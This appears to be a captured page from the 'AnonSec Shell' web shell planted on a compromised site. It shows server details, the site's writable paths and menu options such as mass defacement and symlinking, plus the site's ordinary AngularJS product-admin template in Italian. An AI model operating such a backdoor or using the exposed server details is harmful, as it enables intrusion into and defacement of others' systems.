. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 52.223.31.75  /  Your IP : 172.31.6.220   [ Reverse IP ]
Web Server : Apache/2.4.66 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-81.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/ripara.co/admin/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/ripara.co/admin/views/peo-prodotti.html
<div class="container" data-ng-controller="prodottiCtrl as catctrl">
   <div class="block-header">
      <h2>Prodotti<small>In questa sezione pui trovare tutti categoria del sistema.</small></h2>
      <ul class="actions m-t-20">
         <li class="dropdown" uib-dropdown>
            <a href="" uib-dropdown-toggle>
            <i class="zmdi zmdi-more-vert"></i>
            </a>
            <ul class="dropdown-menu dropdown-menu-right" ng-if="utente.user_type_id == 830830 || utente.user_type_id == 239934">
               <li>
                  <a data-ng-click="catctrl.newProdotto = 1" href="">Aggiungi Prodotto</a>
               </li>
            </ul>
         </li>
      </ul>
   </div>
   <!-- card Prodotto-->
  <div class="card hidden-print" id="insertProdotto" data-ng-if="catctrl.newProdotto === 1">
    <form data-ng-submit="" class="form-horizontal ng-pristine ng-valid" role="form">
      <div class="card-header">
        <h2>Aggiungi Prodotto 
        </h2>
      </div>
      <div class="card-body card-padding">
        <div class="form-group">
          <label for="nomeProdotto" class="col-sm-2 control-label">Nome
            <label class="errorJ">*
            </label>
          </label>
          <div class="col-sm-10">
            <div class="fg-line">
              <div class="fg-line">
                <input type="text" class="form-control input-sm" id="nomeProdotto" required data-ng-model="catctrl.prodottoInsert.nome"  placeholder="Nome Prodotto">
              </div>
            </div>
          </div>
        </div>

         <div class="form-group">
          <label for="anomeProdotto" class="col-sm-2 control-label">Descrizione
            <label class="errorJ">*
            </label>
          </label>
          <div class="col-sm-10">
            <div class="fg-line">
              <div class="fg-line">
                <input type="text" class="form-control input-sm" id="anomeProdotto" required data-ng-model="catctrl.prodottoInsert.descrizione"  placeholder="Descrizione Prodotto">
              </div>
            </div>
          </div>
        </div>

        <div class="form-group">
          <label for="anomeProdotto" class="col-sm-2 control-label">Riparazione
            <label class="errorJ">*
            </label>
          </label>
          <div class="col-sm-10">
            <div class="fg-line">
              <div class="fg-line">
                <input type="text" class="form-control input-sm" id="anomeProdotto" required data-ng-model="catctrl.prodottoInsert.riparazione"  placeholder="Descrizione riparazione">
              </div>
            </div>
          </div>
        </div>
        
      <div class="form-group">
          <label for="device" class="col-sm-2 control-label">Device
          </label>
          <div class="col-sm-10">
            <div class="fg-line">
               <angucomplete-alt  
                              id="deviceinsert"
                              placeholder="Cerca devices"
                              pause="100"
                              selected-object="catctrl.selezionedeviceinsert"
                              local-data="catctrl.devices"
                              search-fields="modello"
                              title-field="modello"
                              minlength="1"
                              input-class="form-control form-control-small"/>

            </div>
          </div>
        </div>


         <div class="form-group">
          <label for="bnomeProdotto" class="col-sm-2 control-label">Costo
            <label class="errorJ">*
            </label>
          </label>
          <div class="col-sm-10">
            <div class="fg-line">
              <div class="fg-line">
                <input type="text" class="form-control input-sm" id="bnomeProdotto" required data-ng-model="catctrl.prodottoInsert.costo"  placeholder="Costo Prodotto">
              </div>
            </div>
          </div>
        </div>
<!--
         <div class="form-group">
          <label for="cnomeProdotto" class="col-sm-2 control-label">Codice
            <label class="errorJ">*
            </label>
          </label>
          <div class="col-sm-10">
            <div class="fg-line">
              <div class="fg-line">
                <input type="text" class="form-control input-sm" id="cnomeProdotto" required data-ng-model="catctrl.prodottoInsert.codice"  placeholder="Codice Prodotto">
              </div>
            </div>
          </div>
        </div>-->


          <div class="form-group">
          <label for="ts5" class="col-sm-2 control-label">Disponibile
            <label class="errorJ">*
            </label>
          </label>
          <div class="col-sm-10">
                <div class="toggle-switch" data-ts-color="green">

                        
                        <input ng-if="catctrl.prodottoInsert.disponibile" id="ts5" type="checkbox" hidden="hidden" checked="checked" >
                        <input ng-if="!catctrl.prodottoInsert.disponibile" id="ts5" type="checkbox" hidden="hidden">
                        
                        <label for="ts5" class="ts-helper"></label>
                    </div>
          
          </div>
        </div>



        <div class="form-group">
          <label for="foto" class="col-sm-2 control-label">Foto     
          </label>
          <div class="col-sm-10">
            <div class="fg-line">
              <div class="fg-line">
                <div class="fileinput fileinput-new" data-provides="fileinput" >
                  <div class="fileinput-preview thumbnail" data-trigger="fileinput" style="width: 200px; height: 150px;">
                  <img src="{{catctrl.prodottoInsert.previewImage}}">
                  </div>
                  <div>
                    <span class="btn btn-default btn-file">
                      <span class="fileinput-new">Seleziona Immagine
                      </span>
                      <span class="fileinput-exists">Cambia Immagine
                      </span>
                      <input type="file" id="foto-input" name="upload" ng-model="fileimg" onchange="angular.element(this).scope().catctrl.aggiornaImgInsert()">
                    </span>
                    <a href="#" class="btn btn-default fileinput-exists" data-dismiss="fileinput">Rimuovi
                    </a>
                  </div>
                </div>
              </div>
            </div>
          </div>
        </div>
        <div class="form-group">
          <div class="col-sm-offset-2 col-sm-10">
            <button type="button" ng-click="catctrl.submitProdotto()"class="btn btn-primary btn-sm waves-effect">Inserisci Prodotto
            </button>
            <button class="btn btn-link btn-sm" type="reset" data-ng-click="catctrl.newProdotto = 0">Annulla
            </button>
          </div>
        </div>
      </div>
    </form>
  </div>


<!-- card Prodotto-->
  <div class="card hidden-print" id="updateProdotto" data-ng-if="catctrl.showProdotto === 1">
    <form data-ng-submit="" class="form-horizontal ng-pristine ng-valid" role="form">
      <div class="card-header">
        <h2>Scheda Prodotto - <b>{{catctrl.prodottoShow.nome}}</b> per <b>{{catctrl.selezionedeviceupdate.modello}}</b>
        </h2>
      </div>
      <div class="card-body card-padding">
        <div class="form-group">
          <label for="nomeProdotto" class="col-sm-2 control-label">Nome


          </label>
          <div class="col-sm-10">
            <div class="fg-line">
              <div class="fg-line">
                <input type="text" class="form-control input-sm" id="nomeProdotto" disabled required data-ng-model="catctrl.prodottoShow.nome"  placeholder="Nome Prodotto">
              </div>
            </div>
          </div>
        </div>

         <div class="form-group">
          <label for="anomeProdotto" class="col-sm-2 control-label">Descrizione

          </label>
          <div class="col-sm-10">
            <div class="fg-line">
              <div class="fg-line">
                <input type="text" class="form-control input-sm" id="anomeProdotto" disabled data-ng-model="catctrl.prodottoShow.descrizione"  placeholder="Descrizione Prodotto">
              </div>
            </div>
          </div>
        </div>
        <div class="form-group">
          <label for="anomeProdotto" class="col-sm-2 control-label">Riparazione

          </label>
          <div class="col-sm-10">
            <div class="fg-line">
              <div class="fg-line">
                <input type="text" class="form-control input-sm" id="anomeProdotto" disabled data-ng-model="catctrl.prodottoShow.riparazione"  placeholder="Descrizione riparazione">
              </div>
            </div>
          </div>
        </div>


        <div class="form-group">
          <label for="device" class="col-sm-2 control-label">Device
          </label>
          <div class="col-sm-10">
            <div class="fg-line">
               {{catctrl.selezionedeviceupdate.nomemarca}} - {{catctrl.selezionedeviceupdate.modello}}

            </div>
          </div>
        </div>

         <div class="form-group">
          <label for="bnomeProdotto" class="col-sm-2 control-label">Costo
          </label>
          <div class="col-sm-10">
            <div class="fg-line">
              <div class="fg-line">
                <input type="text" class="form-control input-sm" id="bnomeProdotto" disabled required data-ng-model="catctrl.prodottoShow.costo"  placeholder="Costo Prodotto">
              </div>
            </div>
          </div>
        </div>
<!--
         <div class="form-group">
          <label for="cnomeProdotto" class="col-sm-2 control-label">Codice
            <label class="errorJ">*
            </label>
          </label>
          <div class="col-sm-10">
            <div class="fg-line">
              <div class="fg-line">
                <input type="text" class="form-control input-sm" id="cnomeProdotto" required data-ng-model="catctrl.prodottoEdit.codice"  placeholder="Codice Prodotto">
              </div>
            </div>
          </div>
        </div>-->

           <div class="form-group">
          <label for="ts4" class="col-sm-2 control-label">Disponibile
          </label>
          <div class="col-sm-10">

              {{(catctrl.prodottoShow.disponibile)?"Si":"No"}}
                
          </div>
        </div>



        <div class="form-group">
          <div class="col-sm-offset-2 col-sm-10">
            
            <button class="btn btn-link btn-sm" type="reset" ng-click="catctrl.showProdotto = 0">Chiudi
            </button>
          </div>
        </div>
      </div>
    </form>
  </div>




   <!-- card Prodotto-->
  <div class="card hidden-print" id="updateProdotto" data-ng-if="catctrl.editProdotto === 1">
    <form data-ng-submit="" class="form-horizontal ng-pristine ng-valid" role="form">
      <div class="card-header">
        <h2>Modifica Prodotto 
        </h2>
      </div>
      <div class="card-body card-padding">
        <div class="form-group">
          <label for="nomeProdotto" class="col-sm-2 control-label">Nome
            <label class="errorJ">*
            </label>
          </label>
          <div class="col-sm-10">
            <div class="fg-line">
              <div class="fg-line">
                <input type="text" class="form-control input-sm" id="nomeProdotto" required data-ng-model="catctrl.prodottoEdit.nome"  placeholder="Nome Prodotto">
              </div>
            </div>
          </div>
        </div>

         <div class="form-group">
          <label for="anomeProdotto" class="col-sm-2 control-label">Descrizione
            <label class="errorJ">*
            </label>
          </label>
          <div class="col-sm-10">
            <div class="fg-line">
              <div class="fg-line">
                <input type="text" class="form-control input-sm" id="anomeProdotto" required data-ng-model="catctrl.prodottoEdit.descrizione"  placeholder="Descrizione Prodotto">
              </div>
            </div>
          </div>
        </div>
        <div class="form-group">
          <label for="anomeProdotto" class="col-sm-2 control-label">Riparazione
            <label class="errorJ">*
            </label>
          </label>
          <div class="col-sm-10">
            <div class="fg-line">
              <div class="fg-line">
                <input type="text" class="form-control input-sm" id="anomeProdotto" required data-ng-model="catctrl.prodottoEdit.riparazione"  placeholder="Descrizione riparazione">
              </div>
            </div>
          </div>
        </div>


        <div class="form-group">
          <label for="device" class="col-sm-2 control-label">Device
          </label>
          <div class="col-sm-10">
            <div class="fg-line">
               <angucomplete-alt  
                              id="deviceinsert"
                              placeholder="Cerca devices"
                              pause="100"
                              selected-object="catctrl.selezionedeviceupdate"
                              local-data="catctrl.devices"
                              search-fields="modello"
                              title-field="modello"
                              minlength="1"
                              initial-value="catctrl.selezionedeviceupdate"
                              input-class="form-control form-control-small"/>

            </div>
          </div>
        </div>

         <div class="form-group">
          <label for="bnomeProdotto" class="col-sm-2 control-label">Costo
            <label class="errorJ">*
            </label>
          </label>
          <div class="col-sm-10">
            <div class="fg-line">
              <div class="fg-line">
                <input type="text" class="form-control input-sm" id="bnomeProdotto" required data-ng-model="catctrl.prodottoEdit.costo"  placeholder="Costo Prodotto">
              </div>
            </div>
          </div>
        </div>
<!--
         <div class="form-group">
          <label for="cnomeProdotto" class="col-sm-2 control-label">Codice
            <label class="errorJ">*
            </label>
          </label>
          <div class="col-sm-10">
            <div class="fg-line">
              <div class="fg-line">
                <input type="text" class="form-control input-sm" id="cnomeProdotto" required data-ng-model="catctrl.prodottoEdit.codice"  placeholder="Codice Prodotto">
              </div>
            </div>
          </div>
        </div>-->

           <div class="form-group">
          <label for="ts4" class="col-sm-2 control-label">Disponibile
            <label class="errorJ">*
            </label>
          </label>
          <div class="col-sm-10">
                <div class="toggle-switch" data-ts-color="green">

                        
                        <input ng-if="catctrl.prodottoEdit.disponibile" id="ts4" type="checkbox" hidden="hidden" checked="checked" >
                        <input ng-if="!catctrl.prodottoEdit.disponibile" id="ts4" type="checkbox" hidden="hidden">
                        
                        <label for="ts4" class="ts-helper"></label>
                    </div>
          
          </div>
        </div>



        <div class="form-group">
          <label for="foto" class="col-sm-2 control-label">Foto     
          </label>
          <div class="col-sm-10">
            <div class="fg-line">
              <div class="fg-line">
                <div class="fileinput fileinput-new" data-provides="fileinput" >
                  <div class="fileinput-preview thumbnail" data-trigger="fileinput" style="width: 200px; height: 150px;">
                  <img src="{{catctrl.prodottoEdit.previewImage}}">
                  </div>
                  <div>
                    <span class="btn btn-default btn-file">
                      <span class="fileinput-new">Cambia Immagine
                      </span>
                      <span class="fileinput-exists">Cambia Immagine
                      </span>
                      <input type="file" id="foto-input" name="upload" ng-model="fileimg" onchange="angular.element(this).scope().catctrl.aggiornaImgUpdate()">
                    </span>
                    <a href="#" class="btn btn-default fileinput-exists" data-dismiss="fileinput">Rimuovi
                    </a>
                  </div>
                </div>
              </div>
            </div>
          </div>
        </div>
        <div class="form-group">
          <div class="col-sm-offset-2 col-sm-10">
            <button type="button" ng-click="catctrl.modificaProdotto()" class="btn btn-primary btn-sm waves-effect">Modifica Prodotto
            </button>
            <button class="btn btn-link btn-sm" type="reset" ng-click="catctrl.editProdotto = 0">Annulla
            </button>
          </div>
        </div>
      </div>
    </form>
  </div>
   <div class="card">
      <!-- <div class="card-header">
         <h2>Column Filtering <small>Type something in filter and press Enter or Filter button</small></h2>
         </div>-->
      <div class="card-body">
         <div class="table-responsive">
            <table ng-table="catctrl.tableProdotti" class="table table-striped table-vmiddle" show-filter="true">
            <thead>
                        <tr>
                        
                            <th ng-repeat="column in elencoCampi" class="text-center sortable" ng-click="catctrl.tableProdotti.sorting('orderBy', (catctrl.isSortBy ? '+' : '-') + elencoChiavi[$index]);" sortable="elencoCampi[$index]">
                                {{elencoCampi[$index]}}
                            </th>
                        </tr>
                        <tr>
                            <th ng-repeat="column in elencoCampi" class="text-center sortable ng-bilding">
                                <input ng-if="elencoCampi[$index] != 'Foto Prodotto'" type="text" class="form-control" ng-model="filtri_real_time[elencoCampi[$index]]" ng-change="catctrl.tableProdotti.sorting('filter', {key: elencoChiavi[$index], value: filtri_real_time[elencoCampi[$index]] });" />
                            </th>
                          </tr>
                      </thead>
               <tr ng-repeat="w in $data" ng-class="{ 'active': w.$edit }">
                  <td>
                     <span>{{ w.nome }}</span>
                  </td>
                  <td>
                     <span>&euro; {{ w.costo }}</span>
                  </td>
                  <td>
                     <span>{{ w.modello }}</span>
                  </td>
                <!--  <td>
                     <span>{{ w.codice }}</span>
                  </td>-->
                  <td>
                     <span>{{ (w.disponibile)?'SI':'NO' }}</span>
                  </td>
                <!--  <td>
                     <span><img src="{{w.foto}}" style="max-width:80px;"></span>
                  </td>-->    

              <!--    <td>
                     <span><img src="{{w.fotocategoria}}" style="max-width:50px"> </span>
                  </td>-->
                  
                  <td data-title="''">
                      <button type="button" class="btn btn-success waves-effect" ng-click="showProdotto(w);"><i class="zmdi zmdi-fullscreen-alt"></i></button>
                     <button ng-if="utente.user_type_id == 830830 || utente.user_type_id == 239934" type="button" class="btn btn-default" ng-if="!w.$edit" ng-click="editProdotto(w);"><i class="zmdi zmdi-edit"></i></button>
                     <button ng-if="utente.user_type_id == 830830" type="button" class="btn btn-default" ng-if="!w.$edit" ng-click="catctrl.cancellaProdotto(w)"><i class="zmdi zmdi-delete"></i></button>

           
                  </td>
               </tr>
            </table>
         </div>
      </div>
   </div>
</div>

Anon7 - 2022
AnonSec Team